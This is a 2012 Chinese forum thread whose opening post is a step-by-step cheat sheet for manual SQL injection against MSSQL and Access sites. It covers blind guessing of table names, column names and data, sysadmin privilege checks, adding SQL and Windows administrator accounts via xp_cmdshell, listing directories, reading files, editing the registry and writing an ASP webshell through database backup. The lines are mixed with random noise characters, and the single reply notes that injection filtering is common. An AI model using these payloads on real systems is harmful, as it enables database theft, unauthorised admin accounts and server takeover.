找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2145|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入
6 Z. }6 v1 `  a. c' M6 u. L5 K  n  A1.判断是否有注入;and 1=1 ;and 1=2
" c% k/ E/ _% r+ ~3 @- o
* ~) T8 \8 J# ]$ ^" p9 N1 D7 S2.初步判断是否是mssql ;and user>0 ' C3 ^1 i0 c4 Z5 X, m+ L% P

) E# i( c0 A" S* D, q3.注入参数是字符'and [查询条件] and ''=' 5 i/ ]) C% V0 Q- C% P  N

# x# V5 w7 k  k4.搜索时没过滤参数的'and [查询条件] and '%25'='
$ Y* N9 Q( k! p) n- h' C. @/ J6 C8 a
! M% r8 X; @5 I# X5.判断数据库系统
' }% y: s- d: ]3 _4 d;and (select count(*) from sysobjects)>0 mssql 8 F& n: p. P& m
;and (select count(*) from msysobjects)>0 access 2 b3 e' y4 _& x7 d& e

% y+ U( ^& n9 V. q6 g# M6.猜数据库 ;and (select Count(*) from [数据库名])>0 3 \* y* R7 w7 n; L3 R" |* E

" }+ W- R! U" s/ G9 J4 E6 S$ A# G7.猜字段 ;and (select Count(字段名) from 数据库名)>0 * c6 s4 Z' U3 `% ~  w7 Q
8 H* R, {/ H- L: h2 H5 o3 v6 T
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 & [0 D; z. R! Z
/ t7 T+ w# V: S8 I1 ~- K0 Q/ M) u
9.(1)猜字段的ascii值(access)
# H5 b8 B( x" H9 Y8 k;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 , q/ R- w2 V2 j( A1 j6 X) X1 z7 T

2 ?3 e/ |3 G4 A; U; ^& _(2)猜字段的ascii值(mssql)
" X/ D7 u* p1 {4 e+ ^;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 & |4 S, r* }0 T$ y$ L/ e+ T" f
3 K- m$ x2 L+ b$ U
10.测试权限结构(mssql)
4 R, m. W5 _! `! l% U1 t;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 3 A. y4 U$ K6 ~7 l
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- # V& N% N( `. I/ `9 m+ u
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- : {2 g1 Q1 y, p
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
. ^% J7 z0 p( I  N; `6 @;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- $ M/ D; Y9 @" I: A8 d% N+ y
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ) H8 x$ k7 c( R  a; ~# ?
;and 1=(select IS_MEMBER('db_owner'));-- * L3 G6 g/ J( J5 S# ?* B

4 G$ G* u( ~1 Q5 ]( h. r11.添加mssql和系统的帐户
( g0 l" i! n/ ^3 t0 f8 m+ J;exec master.dbo.sp_addlogin username;-- ; q- ~2 Q2 Q2 ?) D
  g9 _1 W9 K3 s4 H8 K
;exec master.dbo.sp_password null,username,password;-- 6 |6 e  S! b9 O7 ~2 G- X" s- c1 C$ i

' N, Y9 L0 k! H3 G4 Z& `;exec master.dbo.sp_addsrvrolemember sysadmin username;-- # {. I/ k6 z  U4 p6 u' ~

4 V' V% b# |8 D6 s4 H3 P;exec master.dbo.xp_cmdshell 'net user username password
& Q, a3 B! M3 L( r4 d: D/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- , H0 t6 ^% g9 K% Z( i) f

% s7 E# G% r4 @# ~8 w9 m' ?( B;exec master.dbo.xp_cmdshell 'net user username password /add';-- # q* G; p0 r  h4 Z4 l' e& X

2 [, r7 ]8 [& ~; [. q* h5 `;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
# [5 C9 ~: z: A, t- {* ]) @# h7 X, n
12.(1)遍历目录
9 ]- |2 r- O  ^7 l* j8 R" o% K' N5 j: o5 }
;create table dirs(paths varchar(100), id int) 2 b: m/ Q% r0 ?* k* T) u2 j
;insert dirs exec master.dbo.xp_dirtree 'c:\'
* e! x& ^  S8 j2 ~, z;and (select top 1 paths from dirs)>0
' ]6 I; z, r' q3 J) D;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
4 S! q! F' K8 j, o. L! \2 U
# j- ?* _# Q$ I2 N) ^* S(2)遍历目录 5 D7 @* ~  M3 U8 d
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
# Z& T& V: N6 X4 w7 L+ G;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
  w6 ?% B* c; B0 o! C6 V+ y;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
) |4 }9 y4 E) R% I;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ; A8 _4 P& {6 J  ~7 N8 f
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 7 E6 {8 \# q( b! B3 z9 m

: c  }9 q) F  Y1 G- H' ]9 \9 t" k13.mssql中的存储过程 / h0 n/ A; T+ T

) b% ?& \4 Z) _$ n, Cxp_regenumvalues 注册表根键, 子键
' N+ C1 j- c# {5 t. x;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
& l( y3 x3 l! u0 R8 v5 }
& k  i9 D1 L: n4 P. J3 qxp_regread 根键,子键,键值名
1 `5 X  i. Q' q# Z;exec xp_regread
1 N; s3 T- j1 N6 ~3 B'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 + w( I# D! ?! a: G- J

$ K2 l; v9 L' Zxp_regwrite 根键,子键, 值名, 值类型, 值
$ V3 }; Z, _( z" [$ ?值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 2 r; S4 s' [6 \5 }
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 4 x7 c3 ~0 p  G! x. H  E/ I! K
, \6 e2 V7 t% {- x
xp_regdeletevalue 根键,子键,值名
, h- @" e4 `( D7 ?& I$ {1 G1 X& k( Q, d
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
  h$ u3 k' ^. E1 ^& C) [" A' k  \& x) f) z  y9 X" k- C# U# y. i
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
" ]/ v" i. ~- ~: {  y2 Y! Q. l* F& R6 U
14.mssql的backup创建webshell
& Y( z9 H* @) tuse model
0 B2 m5 g6 o. N2 o- @. Lcreate table cmd(str image); ) m5 f8 a2 t6 U
insert into cmd(str) values (''); : l  r' @7 w. ?6 \( D
backup database model to disk='c:\l.asp';
) Y# u5 }% L# J2 i1 M) U& X
$ u" [! i. j; u# ~- z( V( F. F15.mssql内置函数
5 W0 X& ^4 `" D0 @1 x. Z;and (select @@version)>0 获得Windows的版本号 9 S: V% {; x, F
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
9 c" N8 F- [- B( H3 a% A3 Z;and (select user_name())>0 爆当前系统的连接用户 3 n6 r1 n' Y) Y7 `7 K( l
;and (select db_name())>0 得到当前连接的数据库
) g$ P- i  ^& N$ k) z( U: E- v6 I3 ?
16.简洁的webshell
' ?; J1 T6 B( }( t; \
4 L0 z0 B& t( \1 |* buse model $ `2 R2 Z$ x4 `. R" t

) I, Z1 T: B5 y, u* `, _3 `! ^1 G) @% xcreate table cmd(str image);
. C8 _. _) I. V' H& W8 r5 S) ?: r  W" d. W" f. Y4 \
insert into cmd(str) values (''); 4 f8 U' l( Z5 K" y6 J+ w

5 n8 ?4 G9 _2 i3 h" q- cbackup database model to disk='g:\wwwtest\l.asp'; 8 q# x, b4 m4 }/ }: o9 Z
, V' N7 g- n8 ^4 l# `: Y1 V9 c$ G6 D' ~
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表